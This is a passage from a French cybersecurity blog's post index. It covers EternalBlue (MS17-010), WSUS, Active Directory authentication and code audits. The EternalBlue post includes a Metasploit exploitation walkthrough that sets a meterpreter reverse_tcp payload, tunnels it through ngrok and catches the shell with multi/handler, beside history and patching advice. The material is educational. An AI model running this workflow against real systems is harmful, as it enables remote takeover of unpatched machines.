a infecté des centaines de milliers de systèmes dans plus de 150 pays.\nFonctionnement # EternalBlue exploite une vulnérabilité dans le protocole SMB (Server Message Block) de Microsoft, qui est utilisé pour le partage de fichiers et d\u0026rsquo;imprimantes sur un réseau local. Plus précisément, il cible le service Microsoft SMBv1.\nL\u0026rsquo;exploit permet à un attaquant de transmettre des commandes spécialement conçues à un système vulnérable, lui permettant d\u0026rsquo;exécuter du code arbitraire sur le système cible. Cela signifie qu\u0026rsquo;un attaquant peut prendre le contrôle total d\u0026rsquo;un système à distance, sans nécessiter d\u0026rsquo;interaction de l\u0026rsquo;utilisateur. EternalBlue exploite cette vulnérabilité en envoyant un paquet spécialement conçu à un port d\u0026rsquo;écoute SMB sur un système cible. Ce paquet est structuré de manière à déborder un tampon (Buffer Overflow) dans le pilote de serveur SMB de Windows, ce qui permet à l\u0026rsquo;attaquant d\u0026rsquo;injecter et d\u0026rsquo;exécuter son propre code sur le système cible. En d\u0026rsquo;autres termes, l\u0026rsquo;attaquant peut prendre le contrôle total d\u0026rsquo;un système à distance.\nImplications et conséquences # La menace posée par EternalBlue est grave en raison de sa capacité à se propager sur les réseaux, EternalBlue est particulièrement dangereux pour les environnements d\u0026rsquo;entreprise où de nombreux systèmes sont interconnectés.\nMalgré la disponibilité d\u0026rsquo;un correctif de sécurité de Microsoft (MS17-010) publié en mars 2017, de nombreux systèmes restent non patchés et donc vulnérables à EternalBlue. Cela est dû à une combinaison de facteurs, notamment le manque de sensibilisation à la sécurité, les contraintes de ressources et l\u0026rsquo;utilisation continue de systèmes d\u0026rsquo;exploitation obsolètes et non pris en charge.\nQuelques exemples d\u0026rsquo;attaques historiques basées sur l\u0026rsquo;EternalBlue :\nWannaCry : L\u0026rsquo;attaque de rançongiciel WannaCry a eu lieu en mai 2017, causant des dommages financiers estimés à 4 milliards de dollars. Les cybercriminels ont utilisé EternalBlue pour compromettre des ordinateurs vulnérables. Une fois qu\u0026rsquo;ils ont pris le contrôle de systèmes non patchés, ils ont installé WannaCry, qui a verrouillé les utilisateurs hors de leurs fichiers et même de leurs ordinateurs. Ceux qui souhaitaient récupérer l\u0026rsquo;accès étaient invités à payer une rançon de 300 dollars chacun en Bitcoin.\nNotPetya : L\u0026rsquo;attaque de rançongiciel NotPetya en juin 2017 a été encore plus dévastatrice que son prédécesseur WannaCry. Les dommages financiers estimés ont atteint 10 milliards de dollars, ce qui en fait l\u0026rsquo;attaque la plus destructrice utilisant EternalBlue à ce jour. Contrairement à WannaCry, la note de rançon de NotPetya ne promettait pas aux utilisateurs qu\u0026rsquo;ils récupéreraient l\u0026rsquo;accès à leurs fichiers.\nSednit, également connu sous les noms \u0026ldquo;APT28\u0026rdquo;, \u0026ldquo;Fancy Bear\u0026rdquo; et \u0026ldquo;Sofacy\u0026rdquo;, est une attaque ciblée sur les réseaux Wi-Fi appartenant à des hôtels à travers l\u0026rsquo;Europe en août 2017. Comme ses prédécesseurs, les cybercriminels ont utilisé EternalBlue pour atteindre leurs cibles.\nBad Rabbit : Le rançongiciel Bad Rabbit a également utilisé EternalBlue lors d\u0026rsquo;attaques en octobre 2017, amenant les chercheurs en cybersécurité à croire qu\u0026rsquo;il a été créé par le même groupe à l\u0026rsquo;origine de NotPetya. Les attaquants ont demandé aux victimes de payer 285 dollars chacun en Bitcoin en échange de leurs fichiers.\nSatan : EternalBlue a également été utilisé pour distribuer le rançongiciel Satan en novembre 2017, suite au succès des attaques WannaCry, NotPetya et Bad Rabbit. Les victimes ont été invitées à payer 0.3 Bitcoin chacun pour retrouver l\u0026rsquo;accès à leurs fichiers.\nWannaMine, un malware de minage de cryptomonnaie, a fait surface en septembre 2018. Comme le reste des malwares discutés dans cette section, il a utilisé EternalBlue pour infiltrer les systèmes cibles.\nNRSMiner : Comme WannaMine, NRSMiner utilise les ordinateurs des victimes pour miner des Monero. On pense qu\u0026rsquo;il a été redessiné pour utiliser EternalBlue afin d\u0026rsquo;infecter les systèmes. Le malware repensé a circulé en janvier 2019.\nIndexsinas est un ver SMB qui utilise EternalBlue pour infiltrer les systèmes cibles depuis juin 2021. Il a été utilisé pour implanter des mineurs de cryptomonnaie (malwares qui minent des cryptomonnaies sans la connaissance de l\u0026rsquo;utilisateur) dans les ordinateurs infectés.\nDécouverte # Découvrir le host # Plusieurs méthodes sont possibles pour découvrir l\u0026rsquo;OS même de la machine hôte qu\u0026rsquo;on pentest :\nvérifier le TTL pour les machines OS TTL Windows 95/98 32 *nix (Linux/Unix) 64 Windows 128 Solaris/AIX 254 En utilisant Nmap : nmap -O -PN \u0026lt;url\u0026gt; Machine vulnérable au MS17-010 # Pour découvrir si un host est vulnérrable à l\u0026rsquo;EternalBlue :\nNmap :nmap -A -sV --script vuln \u0026lt;IP_MACHINE\u0026gt;\nMetasploit :\nmsfconsole search eternalblue use auxiliary/scanner/smb/smb_ms17_010 options Exploitation # On peut utiliser Metasploit encore une fois, mais cette fois avec un script exploit.\nmsfconsole search eternalblue use exploit/windows/smb/ms17_010_eternalblue options Avant de commencer, on tunnelle le traffic via ngrok pour pas que le fw local de la machine bloque le flux entrant du reverse shell. Ainsi on va par exemple utiliser Ngrok avec ngrok tcp 4444\nNgrok tunnel lancé Il faut alors set LHOST, LPORT et RHOST et payload.\nset lhost \u0026lt;url_ngrok\u0026gt; set lport \u0026lt;port_ngrok\u0026gt; set rhost \u0026lt;ip_destination\u0026gt; set payload windows/x64/meterpreter/reverse_tcp Maintenant avec la configuration, le tunnel sera crée entre le serveur vulnérable à l\u0026rsquo;eternalblue et le serveur ngrok, il faudrait faire un multi handle pour que ngrok fasse le forward des inbound sur la machine locale.\nAinsi on va utiliser le script multi/handler de metasploit :\nuse multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 127.0.0.1 set lport 4444 set exitonsession false set ReverseListenerBindAddress 127.0.0.1 exploit -j -z Par la suite en réalisant un exploit sur la 1ère session msfconsole,\nIl suffit de vérifier les sessions et on trouve que sur le multi handler après relance qu\u0026rsquo;on a bien notre session :\nexploit -j -z sessions -i 1 Prévention et atténuation # La première et la plus importante mesure pour se protéger contre EternalBlue est de s\u0026rsquo;assurer que tous les systèmes sont à jour avec les derniers correctifs de sécurité. En particulier, les systèmes Windows devraient avoir le correctif MS17-010 appliqué.\nDe plus, les organisations devraient envisager de désactiver SMBv1 si cela est possible sans perturber les opérations. SMBv1 est un protocole obsolète et Microsoft recommande son remplacement par des versions plus récentes et plus sécurisées.\nUn problème pour toujours # Des chercheurs de la NSA ont réalisé des recherches depuis le patch de la vulnérabilité, et ont réalisé que malgrès le patch la vulnérabilité va encore rester d\u0026rsquo;actualité pour longtemps étant donné que non seulement les systèmes non patchés seront concernés mais aussi toute machine utilisant une version cracké de Windows.\nLa liste des 10 pays les plus encore touchés par la vulnérabilité en dehors de l\u0026rsquo;amérique du nord et l\u0026rsquo;europe sont :\nIndonesia Taiwan Vietnam Thailand Egypt Russia China Philippines India Turkey ","date":"4 janvier 2023","permalink":"/cyber-posts-vulnerabilities/eternalblue/","section":"Cyber-Posts-Vulnerabilities","summary":"EternalBlue est un exploit connu qui cible les versions de Windows de Microsoft, exploitant une vulnérabilité dans le protocole SMB et permettant à un attaquant de prendre le contrôle total d\u0026rsquo;un système.","title":"EternalBlue ou MS17-010"},{"content":"","date":"4 janvier 2023","permalink":"/tags/wannacry/","section":"Tags","summary":"","title":"WannaCry"},{"content":"","date":"3 janvier 2023","permalink":"/tags/organisationnel/","section":"Tags","summary":"","title":"Organisationnel"},{"content":" Introduction # WSUS, ou Windows Server Update Services, est un service gratuit fourni par Microsoft qui permet aux administrateurs de gérer la distribution de mises à jour diffusées à travers Microsoft Update. Cet article vise à fournir une définition claire de WSUS, à expliquer son utilité, et à illustrer son rôle vital dans la cybersécurité à travers des références à des guides officiels.\nDéfinition de WSUS # WSUS est une fonctionnalité des systèmes d\u0026rsquo;exploitation Windows Server qui permet aux administrateurs système de gérer et de contrôler les mises à jour de Windows distribuées par Microsoft. Cela offre une plateforme centralisée pour la gestion des mises à jour au sein d\u0026rsquo;un réseau d\u0026rsquo;entreprise, permettant ainsi aux administrateurs de contrôler quelles mises à jour sont installées, quand elles sont installées et sur quels systèmes.\nUtilité de WSUS # Le principal avantage de WSUS est qu\u0026rsquo;il permet aux administrateurs de gérer efficacement les mises à jour sur de nombreux systèmes. Sans WSUS, les administrateurs système devraient individuellement mettre à jour chaque machine, un processus qui peut être à la fois chronophage et susceptible d\u0026rsquo;erreurs.\nDe plus, WSUS permet aux entreprises d\u0026rsquo;économiser de la bande passante. Plutôt que de permettre à chaque machine de télécharger des mises à jour directement depuis les serveurs Microsoft (ce qui peut consommer beaucoup de bande passante lorsqu\u0026rsquo;il est effectué simultanément sur de nombreux systèmes), WSUS télécharge une fois les mises à jour sur un serveur local, puis distribue ces mises à jour aux autres machines du réseau.\nWSUS et la Cybersécurité # En matière de cybersécurité, WSUS joue un rôle crucial. Les mises à jour de Windows incluent souvent des correctifs de sécurité qui visent à réparer les vulnérabilités connues. En utilisant WSUS, les administrateurs peuvent s\u0026rsquo;assurer que ces mises à jour de sécurité sont déployées rapidement et uniformément sur tous les systèmes, minimisant ainsi la fenêtre de vulnérabilité.\nDéploiement uniforme des mises à jour de sécurité : WSUS permet un déploiement rapide et uniforme des mises à jour de sécurité sur tous les systèmes d\u0026rsquo;une organisation.\nRéduction de la fenêtre de vulnérabilité : En permettant un déploiement rapide des correctifs de sécurité, WSUS aide à minimiser la durée pendant laquelle les systèmes restent vulnérables.\nGestion centralisée des mises à jour : Avec WSUS, les administrateurs ont un contrôle centralisé sur les mises à jour de sécurité, leur permettant de s\u0026rsquo;assurer que tous les systèmes sont à jour.\nEconomie de la bande passante : WSUS télécharge une fois les mises à jour sur un serveur local, puis distribue ces mises à jour aux autres machines du réseau, économisant ainsi la bande passante.\nLes serveurs qui n\u0026rsquo;ont pas accès à internet : Les serveurs qui n\u0026rsquo;ont pas besoin d\u0026rsquo;accès à internet n\u0026rsquo;ont pas besoin d\u0026rsquo;y avoir accès pour uniquement les mises à jour étant donné que c\u0026rsquo;est géré par le WSUS qui récupère de façon uniforme les mises à jours.\nConclusion # En somme, WSUS est un outil essentiel pour toute organisation qui utilise des systèmes Windows dans son infrastructure. Il offre non seulement une méthode efficace et centralisée pour gérer les mises à jour de Windows, mais il joue également un rôle crucial dans la protection des systèmes contre les menaces de cybersécurité. En veillant à ce que tous les systèmes soient à jour avec les dernières mises à jour de sécurité, les administrateurs peuvent grandement améliorer la posture de sécurité de leur organisation.\nDocumentation utile # Justification d\u0026rsquo;utilisation WSUS dans le cadre Windows Server : Extrait du Guide d\u0026rsquo;Hygiène Informatique - ANSSI Tutoriel pour mettre en place un WSUS et distribuer les mises à jours : https://openclassrooms.com/fr/courses/2356306-prenez-en-main-windows-server/5836381-distribuez-des-mises-a-jour-avec-wsus\n","date":"3 janvier 2023","permalink":"/cyber-posts-general/wsus/","section":"Cyber-Posts-Generals","summary":"WSUS est un service de Microsoft qui centralise la gestion des mises à jour Windows, améliorant ainsi l\u0026rsquo;efficacité, la bande passante et renforçant la cybersécurité par un déploiement uniforme des correctifs de sécurité.","title":"WSUS : Définition, utilité et importance cyber"},{"content":"","date":"2 janvier 2023","permalink":"/tags/active-directory/","section":"Tags","summary":"","title":"Active Directory"},{"content":" Introduction # Active Directory (AD) est un annuaire de services développé par Microsoft pour les réseaux Windows. Il fournit diverses méthodes pour stocker des informations sur une organisation et offre une variété de fonctionnalités pour aider à gérer ce réseau, notamment en matière d\u0026rsquo;authentification et d\u0026rsquo;autorisation.\nAuthentification et Active Directory # L\u0026rsquo;authentification est un processus vital qui garantit qu\u0026rsquo;une personne ou un système est celui qu\u0026rsquo;il prétend être. Cela implique généralement de vérifier un nom d\u0026rsquo;utilisateur et un mot de passe. Active Directory joue un rôle central dans ce processus sur les réseaux Windows.\nÉvolution Historique de l\u0026rsquo;Authentification # SAM (Security Account Manager) # Historiquement, le modèle d\u0026rsquo;authentification SAM a été utilisé pour gérer les comptes d\u0026rsquo;utilisateurs et les mots de passe sur les systèmes Windows. Les mots de passe étaient stockés sous forme de hachages et vérifiés localement.\nConstruction du hash : LM hash : Créé en divisant le mot de passe en deux morceaux de 7 caractères, puis en les hachant séparément.\nNT hash : Utilise MD4 pour hacher le mot de passe Unicode.\nChemin d\u0026rsquo;authentification :\nL\u0026rsquo;utilisateur saisit les identifiants. Les hash LM et NT sont créés. Ces hash sont stockés localement dans la base de données SAM sur l\u0026rsquo;ordinateur. Utilisation ultérieure :\nLes hash sont comparés aux hash stockés lors de tentatives d\u0026rsquo;authentification ultérieures.\nNTLM (NT LAN Manager) # NTLM est venu remplacer SAM en ajoutant une sécurité supplémentaire. Et un hash HMAC-MD5 pour NTLMv2.\nConstruction du hash : NTLMv2 utilise le NT hash et un \u0026ldquo;blob\u0026rdquo; contenant des informations sur le client et le serveur.\nNtlm authentication in Active Directory Chemin d\u0026rsquo;authentification :\nL\u0026rsquo;utilisateur saisit les identifiants.\nLe client envoie une demande au serveur.\nLe serveur envoie un défi au client.\nLe client répond en utilisant le hash NTLMv2.\nLe serveur vérifie le hash avec la version stockée dans l\u0026rsquo;Active Directory.\nUtilisation ultérieure :\nLe hash est utilisé pour valider l\u0026rsquo;authenticité de l\u0026rsquo;utilisateur lors de sessions ultérieures.\nKerberos # Kerberos, basé sur le protocole Needham-Schroeder, est devenu le protocole d\u0026rsquo;authentification standard avec l\u0026rsquo;introduction d\u0026rsquo;Active Directory. Il utilise une approche basée sur des tickets pour garantir la sécurité et fonctionne comme suit: Kerberos utilise des algorithmes de chiffrement comme AES ou DES pour créer des tickets chiffrés.\nAuthentification Initiale : L\u0026rsquo;utilisateur s\u0026rsquo;authentifie auprès de l\u0026rsquo;AS (Authentication Server), qui renvoie un TGT (Ticket Granting Ticket). Demande de Ticket de Service : Le TGT est envoyé au TGS (Ticket Granting Server) avec une nouvelle demande de ticket de service pour une ressource spécifique. Accès à la Ressource : Le TGS renvoie le ticket de service, qui est présenté à la ressource cible, permettant l\u0026rsquo;accès. Ntlm authentication in Active Directory Organisation : # Structure du Domaine # L\u0026rsquo;Active Directory ne se préoccupe pas de la topologie du réseau ni des DC (Domain Controllers), il structure simplement les ressources de manière logique. Ainsi, plutôt que de trouver des ressources par leur emplacement physique, AD les trouve par leur nom, en suivant la structure hiérarchique suivante :\nForêt : Une forêt est la collection d\u0026rsquo;un ou plusieurs arbres AD, c\u0026rsquo;est le conteneur supérieur dans la structure hiérarchique et crée une séparation logique entre les arbres. Le premier domaine créé dans AD générera automatiquement une forêt. Une forêt peut avoir un ou plusieurs arbres avec un ou plusieurs domaines, et les arbres au sein de la forêt partagent le même schéma, ce qui signifie que tout le contenu des objets sera répliqué dans tous les domaines de la forêt. Les domaines au sein d\u0026rsquo;une forêt se font confiance par défaut. Arbre : Il s\u0026rsquo;agit d\u0026rsquo;une série de domaines connectés de manière hiérarchique, tous utilisant le même espace de noms DNS. Ils font partie du même arbre de domaine, et une confiance est automatiquement créée entre les domaines parent et enfant. Par exemple, si \u0026ldquo;mirage.net\u0026rdquo; était ajouté à un domaine appelé \u0026ldquo;dev\u0026rdquo;, il serait nommé \u0026ldquo;dev.mirage.net\u0026rdquo;. Domaine : Les domaines sont des unités logiques de conteneurs et d\u0026rsquo;objets au sein d\u0026rsquo;Active Directory. Un domaine contient une structure hiérarchique pour les utilisateurs, les groupes, les ordinateurs, et comprend également un nom DNS pour identifier le domaine, des politiques applicables aux utilisateurs, aux groupes et aux ordinateurs, des services de sécurité fournissant l\u0026rsquo;authentification et l\u0026rsquo;autorisation aux ressources dans le domaine et d\u0026rsquo;autres domaines. Un domaine peut avoir plusieurs sous-domaines (également connus sous le nom de Domaines Enfants). AD architecture Objets Active Directory # Les objets dans AD sont des ressources représentant quelque chose sur un réseau, tels que les utilisateurs, les groupes, les ordinateurs, les imprimantes, les dossiers partagés ou les applications. Ces objets peuvent être placés dans des domaines et des OU. Examinons chaque type d\u0026rsquo;objet.\nOU : Une OU (Unité d\u0026rsquo;Organisation) est un objet pouvant contenir différents objets du même domaine. Vous pouvez utiliser les OU pour stocker et gérer des utilisateurs, des contacts, des ordinateurs et des groupes. Les OU sont également utilisées pour appliquer des paramètres de stratégie de groupe et des permissions à l\u0026rsquo;ensemble du conteneur. Users : Ce sont des objets attribués à des individus pour accéder aux ressources du domaine. Les utilisateurs peuvent également être utilisés pour exécuter des programmes ou des services système. Groups : Ces objets sont un ensemble d\u0026rsquo;utilisateurs, d\u0026rsquo;ordinateurs ou de contacts. Il existe deux types de groupes : Sécurité : C\u0026rsquo;est un groupe d\u0026rsquo;objets qui peut être utilisé pour attribuer des ressources ou appliquer des permissions.\nDistribution : Ces groupes sont utilisés par les applications de messagerie pour envoyer un e-mail à un groupe d\u0026rsquo;utilisateurs.\nComputers : Cela représente les autres ordinateurs qui sont joints au domaine. Contacts : Cet objet contient des informations sur les contacts tiers. Il n\u0026rsquo;est pas possible de se connecter au domaine avec cet objet, qui n\u0026rsquo;a pas de SID et ne peut pas être utilisé pour sécuriser les permissions. Printers : Ces objets sont des imprimantes partagées au sein du domaine. FSMO # Les FSMO - Flexible Single Master Operation sont des rôles. Ces rôles permettent l\u0026rsquo;authentification des DC et accordent des permissions. L\u0026rsquo;authentification et l\u0026rsquo;autorisation sont séparées en différents rôles et peuvent être réparties sur plusieurs DC pour obtenir de meilleures performances et une bascule en cas de panne d\u0026rsquo;un DC.\nIl y a 5 rôles FSMO :\nSchema Master : C\u0026rsquo;est un rôle à l\u0026rsquo;échelle de la forêt qui gère toutes les modifications apportées au schéma Active Directory. Il n\u0026rsquo;y en a qu\u0026rsquo;un dans toute la forêt. Domain Naming Master : C\u0026rsquo;est un rôle à l\u0026rsquo;échelle de la forêt chargé de gérer les noms de domaine. Il n\u0026rsquo;y en a qu\u0026rsquo;un dans toute la forêt. PDC Emulator : « Émulateur de contrôleur de domaine principal », le DC avec le rôle d\u0026rsquo;émulateur PDC est le DC ayant la plus haute autorité au sein du domaine. Ce rôle gère les demandes d\u0026rsquo;authentification, les changements de mot de passe, les verrouillages d\u0026rsquo;utilisateurs, les stratégies de groupe et est le serveur de temps pour les clients. C\u0026rsquo;est un rôle à l\u0026rsquo;échelle du domaine. RID Master : Le rôle de maître « Identifiant Relatif » est chargé de conserver des blocs de SIDs et de les attribuer à différents DC au sein du domaine. Il veille également à ce que les objets ne se voient pas attribuer le même SID et RID. Lorsqu\u0026rsquo;un objet est créé, il reçoit un SID unique et un identifiant relatif. C\u0026rsquo;est un rôle à l\u0026rsquo;échelle du domaine. Infrastructure Master : Ce rôle est utilisé pour référencer les objets dans d\u0026rsquo;autres domaines. Il traduit les GUID, SIDs, et DNs entre les domaines. Si les utilisateurs du domaine A sont membres d\u0026rsquo;un groupe de sécurité dans le domaine B, le rôle de maître d\u0026rsquo;infrastructure est utilisé pour référencer les comptes dans le domaine correct. C\u0026rsquo;est un rôle à l\u0026rsquo;échelle du domaine. Autres Services Active Directory # AD propose d\u0026rsquo;autres services liés aux permissions, aux identités et aux ressources réseau, dont les suivants :\nActive Directory Domain Services (AD DS) : C\u0026rsquo;est le service le plus couramment utilisé, il offre des capacités de stockage et de gestion des données d\u0026rsquo;annuaire. Dans cet article, nous avons décrit ce que c\u0026rsquo;est, à quoi il sert et quelles informations il peut stocker. Active Directory Certificate Services (AD CS) : Il s\u0026rsquo;agit d\u0026rsquo;un rôle de serveur qui permet aux gestionnaires de générer et de gérer une Infrastructure à Clé Publique (PKI) et de fournir des certificats et signatures numériques pour votre organisation. Ce rôle vous permet de définir des rôles et des politiques dans le but de créer, gérer, distribuer, utiliser, stocker, révoquer des certificats et des clés publiques, chiffrer le trafic réseau et authentifier les utilisateurs et les ordinateurs. Active Directory Federation Services (AD FS) : Ce service est une solution de gestion d\u0026rsquo;identité. Il permet l\u0026rsquo;authentification unique sur des sites web et des applications externes en utilisant l\u0026rsquo;authentification unique (SSO), de sorte que les utilisateurs n\u0026rsquo;ont besoin de retenir qu\u0026rsquo;un ensemble d\u0026rsquo;identifiants pour les utiliser à plusieurs endroits. Office 365 est une utilisation courante des services de fédération. Active Directory Lightweight Directory Services (AD LDS) : Ce service fournit des services d\u0026rsquo;annuaire en utilisant le protocole LDAP sans déployer de DC. Il est complètement indépendant des limitations de domaine de l\u0026rsquo;AD DS et n\u0026rsquo;est pas limité à l\u0026rsquo;AD, ses forêts et ses domaines. Ce service peut fonctionner sur n\u0026rsquo;importe quel serveur autonome et fournit son propre espace de stockage de données. Active Directory Rights Management Services (AD RMS) : Ce service est une solution de contrôle d\u0026rsquo;accès aux données. Il fournit des méthodes pour protéger le contenu numérique tel que les documents, les e-mails, les documents Office et les pages web en définissant qui peut les ouvrir, les modifier, les imprimer, les transférer ou entreprendre d\u0026rsquo;autres actions. AD services Nomenclature # AD : Abréviation de « Active Directory ». AD DS : « Active Directory Domain Services », cela fait référence à un serveur qui l\u0026rsquo;exécute. DC : « Domain Controller », il fait référence à un serveur exécutant le rôle AD DS, la fonction principale d\u0026rsquo;un contrôleur de domaine est d\u0026rsquo;authentifier et d\u0026rsquo;autoriser les utilisateurs et leurs ressources dans un réseau de domaine. DNS : Abréviation de « Domain Name System », AD DS utilise les services de résolution de noms DNS pour que les clients puissent localiser les DC et pour que les DC qui hébergent le service d\u0026rsquo;annuaire puissent communiquer entre eux. Vous pouvez en savoir plus sur DNS ici. GC : « Global Catalog » est un service de stockage de données pour un DC, par défaut, le premier DC d\u0026rsquo;un domaine est désigné comme serveur GC, un DC exécutant le GC est connu sous le nom de Global Catalog Server, le serveur GC stocke des copies de tous les objets dans un domaine et est utilisé pour effectuer des recherches dans la forêt. Schéma : C\u0026rsquo;est un plan qui définit comment les objets peuvent être créés, stockés et utilisés dans AD, chaque objet est une instance d\u0026rsquo;une classe et chaque classe a ses propres attributs et syntaxe. Si vous créez un « objet Ordinateur », cet objet est une instance de la « classe Ordinateur ». RODC : « Read-Only Domain Controller » est le serveur qui détient une base de données AD en lecture seule et ne permet pas de modifications, son but est d\u0026rsquo;améliorer la sécurité physique. FQDN : « Fully Qualified Domain Name » est un nom composé d\u0026rsquo;un nom d\u0026rsquo;hôte et du nom de domaine, par exemple, le FQDN pour un objet ordinateur nommé « server1 » dans le domaine « mirage.net » serait « server1.mirage.net ». FSMO : « Flexible Single Master Operation » sont des rôles installés sur le premier DC lorsqu\u0026rsquo;une nouvelle forêt est créée. LDAP : « Lightweight Directory Access Protocol » est un protocole ouvert qui fournit un mécanisme de communication pour les applications et les systèmes utilisés pour accéder aux services d\u0026rsquo;annuaire et les authentifier, supporte l\u0026rsquo;authentification Kerberos, SASL (Simple Authentication Security Layer), SSL (Secure Sockets Layer), fonctionne avec un modèle client/serveur et fonctionne sur TCP/IP. En termes simples, LDAP est une manière de communiquer avec AD. ADWS : « Active Directory Web Services » est un service qui permet la gestion à distance des domaines de l\u0026rsquo;annuaire local et des instances ADLDS, il est installé automatiquement avec le rôle ADDS ou ADLDS et utilise le protocole WebSocket sur le port 9389. Corbeille AD : cette fonctionnalité vous permet de restaurer des objets supprimés, elle n\u0026rsquo;est pas activée par défaut, mais vous pouvez apprendre comment l\u0026rsquo;activer ici. SYSVOL : Stocke les informations de l\u0026rsquo;AD et les réplique vers d\u0026rsquo;autres DC, c\u0026rsquo;est un dossier partagé et son emplacement par défaut est %SYSTEMROOT%\\SYSVOL\\sysvol. Documentation # Setup un AD sur un windows server 2022 Exploit classiques sur l\u0026rsquo;AD AD Checklist CERT-FR Best practices AD selon Microsoft ","date":"2 janvier 2023","permalink":"/cyber-posts-general/active-directory/","section":"Cyber-Posts-Generals","summary":"Active Directory est un service essentiel de Microsoft qui orchestre l\u0026rsquo;authentification et l\u0026rsquo;autorisation au sein des réseaux Windows. De SAM à NTLM et Kerberos, cet article explore les méthodes historiques et actuelles, soulignant l\u0026rsquo;importance cruciale d\u0026rsquo;Active Directory dans la cybersécurité et la gestion des systèmes.","title":"Active Directory : Architecture, Authentification et Sécurité en Profondeur"},{"content":"","date":"2 janvier 2023","permalink":"/tags/kerberos/","section":"Tags","summary":"","title":"Kerberos"},{"content":"","date":"2 janvier 2023","permalink":"/tags/ntlm/","section":"Tags","summary":"","title":"NTLM"},{"content":"","date":"2 janvier 2023","permalink":"/tags/sam/","section":"Tags","summary":"","title":"SAM"},{"content":"","date":"1 janvier 2023","permalink":"/tags/audit-code/","section":"Tags","summary":"","title":"Audit Code"},{"content":" Définition # Un audit de code est un processus d\u0026rsquo;évaluation technique et approfondie du code source d\u0026rsquo;une application logicielle afin de détecter les erreurs de programmation et les vulnérabilités de sécurité. L\u0026rsquo;objectif principal de cet audit est d\u0026rsquo;identifier les failles potentielles qui pourraient être exploitées par des attaquants pour compromettre la sécurité du système ou provoquer un dysfonctionnement de l\u0026rsquo;application. L\u0026rsquo;audit de code est réalisé à l\u0026rsquo;aide d\u0026rsquo;outils d\u0026rsquo;analyse statique et dynamique du code, ainsi que par des examens manuels effectués par des experts en sécurité informatique. Les résultats de l\u0026rsquo;audit de code sont présentés dans un rapport détaillé, fournissant une liste des vulnérabilités détectées et des recommandations pour les corriger, permettant ainsi d\u0026rsquo;améliorer la qualité et la sécurité de l\u0026rsquo;application.\nObjectif de l\u0026rsquo;audit : # L\u0026rsquo;audit de code a pour objectif principal de détecter les vulnérabilités de sécurité et les erreurs de programmation dans le code source d\u0026rsquo;une application. Il vise à identifier les failles potentielles qui pourraient être exploitées par des attaquants pour compromettre la sécurité du système et de proposer un plan d\u0026rsquo;action pour les corriger.\nSuite à quel type d\u0026rsquo;audit on fait ce genre d\u0026rsquo;audit? # L\u0026rsquo;audit de code est généralement réalisé dans le cadre d\u0026rsquo;un audit de sécurité plus large, tel qu\u0026rsquo;un audit de sécurité des applications ou un audit de sécurité des systèmes d\u0026rsquo;information. Il est également réalisé lors de la phase de développement ou avant le déploiement d\u0026rsquo;une application pour s\u0026rsquo;assurer que le code est sûr et conforme aux meilleures pratiques de sécurité. Il est aussi réalisé lors du processus classique : Boite noire -\u0026gt; Boîte grise -\u0026gt; Boîte blanche (ICI)\nMéthodologie étape par étape : # Il n\u0026rsquo;y a pas de méthodologie type, mais globalement, un audit de code se structure sur les axes suivants :\nAnalyse des exigences de sécurité : Comprendre les exigences de sécurité spécifiques de l\u0026rsquo;application à auditer pour orienter l\u0026rsquo;audit. Revue du code source : Analyser le code source ligne par ligne à l\u0026rsquo;aide d\u0026rsquo;outils d\u0026rsquo;analyse statique pour identifier les vulnérabilités potentielles. Identification des vulnérabilités : Rechercher des erreurs courantes telles que les injections SQL, les XSS (Cross-Site Scripting), les CSRF (Cross-Site Request Forgery), les erreurs de gestion des sessions, etc. Analyse de la configuration de sécurité : Examiner la configuration de l\u0026rsquo;application pour s\u0026rsquo;assurer que les paramètres de sécurité sont correctement définis. Test des contrôles de sécurité : Vérifier l\u0026rsquo;efficacité des contrôles de sécurité implémentés dans l\u0026rsquo;application pour se prémunir contre les attaques. Rapport d\u0026rsquo;audit : Présenter les résultats de l\u0026rsquo;audit, y compris les vulnérabilités identifiées et les recommandations pour les corriger. Déroulement de l\u0026rsquo;audit : # L\u0026rsquo;audit de code commence généralement par une analyse statique du code source, qui consiste à utiliser des outils d\u0026rsquo;analyse automatisée pour identifier les erreurs et les vulnérabilités. Ensuite, des tests manuels sont effectués pour vérifier les contrôles de sécurité et détecter les vulnérabilités plus complexes. Enfin, un rapport détaillé est généré, fournissant une liste complète des vulnérabilités détectées et des recommandations pour les corriger.\nAttendus clients de l\u0026rsquo;audit : # Les clients qui font réaliser un audit de code attendent de recevoir un rapport complet et précis sur les vulnérabilités détectées dans leur code source. Ils souhaitent également recevoir des recommandations concrètes pour corriger ces vulnérabilités et améliorer la sécurité globale de l\u0026rsquo;application. Ainsi le rapport idéalement doit comporter à minima les éléments suivants :\nSynthèse globale (overall view) Un plan d\u0026rsquo;action issu des vulnérabilités remontés par l\u0026rsquo;audit Quelques exemples de vulnérabilités courantes identifiées lors d\u0026rsquo;un audit de code : # Quelques exemples de vulnérabilités classiques découvertes lors des audit de code :\nInjection SQL : L\u0026rsquo;absence de validation ou d\u0026rsquo;échappement des entrées utilisateur peut permettre aux attaquants d\u0026rsquo;injecter des requêtes SQL malveillantes, compromettant ainsi la base de données et pouvant entraîner la divulgation d\u0026rsquo;informations sensibles (exemple : \u0026ldquo;SELECT * FROM users WHERE username=\u0026rsquo;$username\u0026rsquo;;\u0026rdquo;).\nCross-Site Scripting (XSS) : Des données non vérifiées insérées dans des pages Web peuvent permettre aux attaquants d\u0026rsquo;injecter du code malveillant dans les navigateurs des utilisateurs, ce qui peut entraîner des vols de session ou des redirections vers des sites frauduleux (exemple : \u0026lt;script\u0026gt;code malveillant ici\u0026lt;/\u0026gt;\u0026quot;).\nCross-Site Request Forgery (CSRF) : Les attaquants peuvent inciter les utilisateurs authentifiés à envoyer des requêtes non intentionnelles à un site Web, par exemple, en cliquant sur un lien malveillant dans un e-mail, ce qui peut entraîner des actions indésirables sur le compte de l\u0026rsquo;utilisateur (exemple : envoyer un formulaire avec une action malveillante sans que l\u0026rsquo;utilisateur en soit conscient).\nMauvaise gestion des erreurs : Les messages d\u0026rsquo;erreur non gérés peuvent divulguer des informations sensibles sur l\u0026rsquo;application ou son environnement, ce qui pourrait être exploité par des attaquants pour mieux cibler leurs attaques (exemple : affichage du message d\u0026rsquo;erreur complet avec la trace du serveur).\nMauvaise validation des entrées utilisateur : Le manque de validation appropriée des entrées utilisateur peut entraîner des vulnérabilités telles que l\u0026rsquo;injection SQL ou les XSS, en permettant aux attaquants d\u0026rsquo;insérer des données malveillantes dans l\u0026rsquo;application (exemple : l\u0026rsquo;application accepte des valeurs non attendues dans les formulaires).\nUtilisation de 